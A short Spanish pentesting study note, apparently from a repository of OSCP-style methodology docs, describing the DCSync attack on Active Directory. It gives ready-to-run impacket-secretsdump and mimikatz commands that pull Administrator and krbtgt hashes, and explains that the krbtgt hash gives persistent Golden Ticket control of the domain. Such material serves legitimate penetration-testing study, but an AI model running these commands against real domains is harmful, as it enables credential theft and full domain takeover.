7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
762 B
762 B
DCSync
Con permisos de replicación de directorio (DS-Replication-Get-Changes), pides al DC que te "replique" los hashes como si fueras otro DC. No necesitas pisar el DC.
Cómo se llega
- Un usuario con esos derechos (te lo dice BloodHound: arista
DCSync/GetChangesAll). - O un ACL abuses que te conceda esos derechos.
Ataque
impacket-secretsdump dominio/usuario:password@DC_IP # → ver secretsdump
# o desde mimikatz en una máquina del dominio:
lsadump::dcsync /user:Administrator
lsadump::dcsync /user:krbtgt # ← el premio gordo
Por qué importa
El hash de krbtgt → Golden Ticket = control total y persistente del dominio.
Relacionado: Mimikatz · Impacket · Active Directory · OSCP MOC